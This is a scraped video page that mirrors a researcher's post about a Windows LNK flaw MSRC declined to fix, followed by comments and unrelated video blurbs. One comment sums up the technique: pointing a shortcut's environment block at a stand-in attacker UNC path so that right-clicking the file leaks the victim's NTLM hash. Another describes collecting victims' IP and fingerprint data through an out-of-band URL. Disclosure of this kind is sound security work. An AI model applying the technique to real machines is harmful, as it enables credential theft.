Загрузка видео...

Не удалось загрузить видео

На главную

A quick writeup on potential security issue of Windows LNK that I reported to MSRC last month. They decided to not fix due to relying on MOTW. In the blog I included the proof of concept. All you have to do is to Right-Click and get Info Disclosure :)

zeifan's profile picture

nafiez

2,208 subscribers

25,240 просмотров • 1 год назад •via X (Twitter)

Наука и технологииНовости и политикаОбразование
LIVE

Anya Rossi• Live Now

Private livecam show

Комментарии: 11

Фото профиля sixtyvividtails
sixtyvividtails1 год назад

Nice seeing actual dig into details of .LNK structure! tag/TLDR: lnk.header.flags |= HAS_EXP_STRING; 🤭 lnk.envarBlock := "\\evil_ip\gibe_hash" then right-click to sendout the ntlm hash

Фото профиля nafiez
nafiez1 год назад

Thanks 🫡

Фото профиля WAGMI | Crypto, DeFi & Web3 News
WAGMI | Crypto, DeFi & Web3 News2 лет назад

"My friends think I'm a crypto genius, (I'm not) it's because I read WAGMI’s weekly newsletter (and they have no idea it exists)" - Every Crypto Degen

Фото профиля I am Jakoby
I am Jakoby1 год назад

I did something similar but I passed an http oob url and used it to collect their ip address, geolocation, and finger print info This is significantly more severe and I am honestly shocked they decided not to fix it

Фото профиля nafiez
nafiez1 год назад

That sounds awesome! Have you write or publish anything about the stuff you work on? Yeah too bad they didn’t treat this as security issue since MOTW did the protection, according to them :-)

Фото профиля ClearSky Cyber Security
ClearSky Cyber Security1 год назад

Open since June 24

Фото профиля nafiez
nafiez1 год назад

The description looks similar however in your advisory seems to tie with CVE-2024-43451. How come this still not fix for the Right-Click? Any thoughts?

Фото профиля jcatblackhat
jcatblackhat1 год назад

TAG: PoC

Фото профиля Jean
Jean1 год назад

What's the app you use for function tracing?

Фото профиля nafiez
nafiez1 год назад

I’m using Rohitab API Monitor

Фото профиля Bruno
Bruno1 год назад

@BriPwn

Похожие видео

I invest in a lot of entrepreneurs that I don't like but I respect. I respect them and the only thing I care about is executional skills. The ability to say, "All right this is what I'm going to achieve this month" and then execute on it. When they hit their bumps which they all do, because whatever their plan was is not going to work, they have the ability to pivot. That what I look for.
0:31

I invest in a lot of entrepreneurs that I don't like but I respect. I respect them and the only thing I care about is executional skills. The ability to say, "All right this is what I'm going to achieve this month" and then execute on it. When they hit their bumps which they all do, because whatever their plan was is not going to work, they have the ability to pivot. That what I look for.

Kevin O'Leary aka Mr. Wonderful

31,216 просмотров • 1 год назад

People continue to blame me, saying, 'You are the Aare Onakakanfo of Yoruba Land and you refused to do something on the issue of insecurity affecting us', Gani Adams says. He also noted: "I have written to South West governors that there is a need for collaboration on the issue of security; all hands must be on deck to address this ugly situation, but for the past two years, they did not reply me. [Gani Adams, Aare Onakakanfo of Yoruba Land] #SunriseDaily
1:39

People continue to blame me, saying, 'You are the Aare Onakakanfo of Yoruba Land and you refused to do something on the issue of insecurity affecting us', Gani Adams says. He also noted: "I have written to South West governors that there is a need for collaboration on the issue of security; all hands must be on deck to address this ugly situation, but for the past two years, they did not reply me. [Gani Adams, Aare Onakakanfo of Yoruba Land] #SunriseDaily

Channels Television

137,915 просмотров • 1 месяц назад

Last but not least bug of the year, 2025. Found a remote printer bug that allows remote arbitrary write file. This was reported to MSRC however they told us is not replicated on their side.
0:55

Last but not least bug of the year, 2025. Found a remote printer bug that allows remote arbitrary write file. This was reported to MSRC however they told us is not replicated on their side.

nafiez

21,360 просмотров • 6 месяцев назад

"If they feel strongly enough that they have to break the law to get the message across, then I think that speaks to the larger issue that the government isn't listening to protestors and they have to resort to these types of means." My live reporting last night on Al Jazeera English
0:50

"If they feel strongly enough that they have to break the law to get the message across, then I think that speaks to the larger issue that the government isn't listening to protestors and they have to resort to these types of means." My live reporting last night on Al Jazeera English

bencamach0.bsky.social

37,488 просмотров • 2 лет назад

"One of ours .... all of yours" - that is the homeland security motto?! Do they want to fix or to fight
7:35

"One of ours .... all of yours" - that is the homeland security motto?! Do they want to fix or to fight

Christopher C. Cuomo

29,691 просмотров • 6 месяцев назад

Drake and Future have reportedly squashed their beef 🙏 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included.” (via Elliott Wilson)
1:32

Drake and Future have reportedly squashed their beef 🙏 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included.” (via Elliott Wilson)

Complex Music

132,165 просмотров • 1 год назад

This is an open message to Ross Coulthart to contact me and please talk through why you believe that I should not reveal the location of a giant UFO which is in a building within a building underneath a very high security military facility You leaked this over two years ago but withheld the destination and there is definitely a chance I am wrong but the strength of the evidence I now have is enough that I am going to go public with my findings in three hours time I clearly do not want to threaten National USUKAus Security and it is your potential mess to clean up... I would like to talk it through with you, but more importantly I think it is in the interests of the public to know about the deception that holds back full Disclosure
0:59

This is an open message to Ross Coulthart to contact me and please talk through why you believe that I should not reveal the location of a giant UFO which is in a building within a building underneath a very high security military facility You leaked this over two years ago but withheld the destination and there is definitely a chance I am wrong but the strength of the evidence I now have is enough that I am going to go public with my findings in three hours time I clearly do not want to threaten National USUKAus Security and it is your potential mess to clean up... I would like to talk it through with you, but more importantly I think it is in the interests of the public to know about the deception that holds back full Disclosure

Moneypenny

3,624,908 просмотров • 11 месяцев назад

DRAKE & FUTURE HAVE REPORTEDLY SQUASHED THEIR BEEF 🚨 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included” (Via Elliot Wilson)
1:33

DRAKE & FUTURE HAVE REPORTEDLY SQUASHED THEIR BEEF 🚨 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included” (Via Elliot Wilson)

NFR Podcast

4,460,808 просмотров • 1 год назад

BANNON: The illegal alien invasion of our country is our biggest national security issue ever! They do not want to assimilate. They do not believe in our values. THEY ALL HAVE TO GO. The Left will die on this hill because they know they need illegals to win elections.
1:02

BANNON: The illegal alien invasion of our country is our biggest national security issue ever! They do not want to assimilate. They do not believe in our values. THEY ALL HAVE TO GO. The Left will die on this hill because they know they need illegals to win elections.

Bannon’s WarRoom

26,779 просмотров • 6 месяцев назад

Michael Jordan breaks down the absolute true mindset of a champion. "First of all you got to believe in yourself. You got to have a passion. You got to put forth the work." "Discipline means you have to really decide on that you want to be a winner. And when someone tries to take you to go do things that's not focused on being a winner you have to be disciplined to say you know what, I got to stay to what I have to do." "For people who skip those steps and think they just show up on Sunday, I don't want nothing to do with them."
0:49

Michael Jordan breaks down the absolute true mindset of a champion. "First of all you got to believe in yourself. You got to have a passion. You got to put forth the work." "Discipline means you have to really decide on that you want to be a winner. And when someone tries to take you to go do things that's not focused on being a winner you have to be disciplined to say you know what, I got to stay to what I have to do." "For people who skip those steps and think they just show up on Sunday, I don't want nothing to do with them."

ABDCHAIN

306,355 просмотров • 19 дней назад

"I put a lot of it on me on the wins and losses and I need to do a better job. I'm not going to sit here and blame it on the roster, the coaching staff. I'm going to blame it on the guy that's sitting right in front of you. I need to do a better job"
0:29

"I put a lot of it on me on the wins and losses and I need to do a better job. I'm not going to sit here and blame it on the roster, the coaching staff. I'm going to blame it on the guy that's sitting right in front of you. I need to do a better job"

New York Jets

118,046 просмотров • 6 месяцев назад

It’s not just that the oligarchs don’t want to pay their fair share of taxes. Many of them literally do not believe in the concept of government. They are rich and powerful and have the “divine right” to do anything they want.
0:53

It’s not just that the oligarchs don’t want to pay their fair share of taxes. Many of them literally do not believe in the concept of government. They are rich and powerful and have the “divine right” to do anything they want.

Sen. Bernie Sanders

179,195 просмотров • 1 год назад

.Chad Pergram: "Nothing's going to get done on health care now, right, this year?" .Leader John Thune "It’s a complicated issue, no doubt about it. A lot of moving parts and we have different visions of what health care ought to look like…You’re right, we’re not going to pass anything by the end of this week, but I do think there is a potential pathway in January if Democrats are willing to come to the table to do things that will actually drive down the cost of health care."
1:41

.Chad Pergram: "Nothing's going to get done on health care now, right, this year?" .Leader John Thune "It’s a complicated issue, no doubt about it. A lot of moving parts and we have different visions of what health care ought to look like…You’re right, we’re not going to pass anything by the end of this week, but I do think there is a potential pathway in January if Democrats are willing to come to the table to do things that will actually drive down the cost of health care."

CSPAN

100,168 просмотров • 7 месяцев назад

MacFarlane: The issue here is that they don't have the requisite support to do this, even in a vacuum, because they understand this is a generational decision to get rid of the filibuster, and they're not keen on doing that, not knowing what's going to happen over the next generation long after Trump is gone
1:08

MacFarlane: The issue here is that they don't have the requisite support to do this, even in a vacuum, because they understand this is a generational decision to get rid of the filibuster, and they're not keen on doing that, not knowing what's going to happen over the next generation long after Trump is gone

Acyn

26,767 просмотров • 29 дней назад

.Secretary Sean Duffy to Jack Posobiec on the future of air traffic control: "I can't fix the weather for you, or I can't fix that you might have a mechanical issue with the airplane. But I can fix the congestion that happens in the airspace."
3:12

.Secretary Sean Duffy to Jack Posobiec on the future of air traffic control: "I can't fix the weather for you, or I can't fix that you might have a mechanical issue with the airplane. But I can fix the congestion that happens in the airspace."

Human Events

39,779 просмотров • 2 месяцев назад

Edwin Sifuna: The reason I will not resign yet is because I have not given up yet, I have not given up on members of the ODM. There is still belief and trust within the ranks of the party that Baba knows what is right for the people and that he will do the right thing. On the day that I give up, I will tell you, I will say it publicly that I have lost the battle to rescue this party and to bring it back to where it was #CitizenExplainer Yvonne Okwara
2:29

Edwin Sifuna: The reason I will not resign yet is because I have not given up yet, I have not given up on members of the ODM. There is still belief and trust within the ranks of the party that Baba knows what is right for the people and that he will do the right thing. On the day that I give up, I will tell you, I will say it publicly that I have lost the battle to rescue this party and to bring it back to where it was #CitizenExplainer Yvonne Okwara

Citizen TV Kenya

45,984 просмотров • 11 месяцев назад

Companies are going way too far to try and sell you products Just to buy 2 new windows, a company came out and said you have to - Do a 3 window minimum even through you only need 2 - Sit through a 90 minute presentation on the history of the company, the founder, their story - A presentation on windows, how windows work and why their windows are different - A pitch on the state of the economy and inflation - A horrible negotiation experience on the cost of the actual windows This is actually happening at a lot of places. A similar experience of mine was I literally went to get an oil change at Mountain View tires and they wanted me to come out to the car and go over a full vehicle diagnostic that they would first need to take over an hour doing. They said it was policy It’s all to upsell you. Even places like valvoline make you do a full vehicle inspection now so they can go over it with you and upsell you on repairs
8:25

Companies are going way too far to try and sell you products Just to buy 2 new windows, a company came out and said you have to - Do a 3 window minimum even through you only need 2 - Sit through a 90 minute presentation on the history of the company, the founder, their story - A presentation on windows, how windows work and why their windows are different - A pitch on the state of the economy and inflation - A horrible negotiation experience on the cost of the actual windows This is actually happening at a lot of places. A similar experience of mine was I literally went to get an oil change at Mountain View tires and they wanted me to come out to the car and go over a full vehicle diagnostic that they would first need to take over an hour doing. They said it was policy It’s all to upsell you. Even places like valvoline make you do a full vehicle inspection now so they can go over it with you and upsell you on repairs

Wall Street Apes

106,062 просмотров • 1 месяц назад

14/20: I want the game to have an easy to use level editor eventually. Last year I worked on this proof of concept that makes levels for the demo. You can try it out now and make some cool puzzles!
0:49

14/20: I want the game to have an easy to use level editor eventually. Last year I worked on this proof of concept that makes levels for the demo. You can try it out now and make some cool puzzles!

Poke ALL Toads

11,266 просмотров • 4 месяцев назад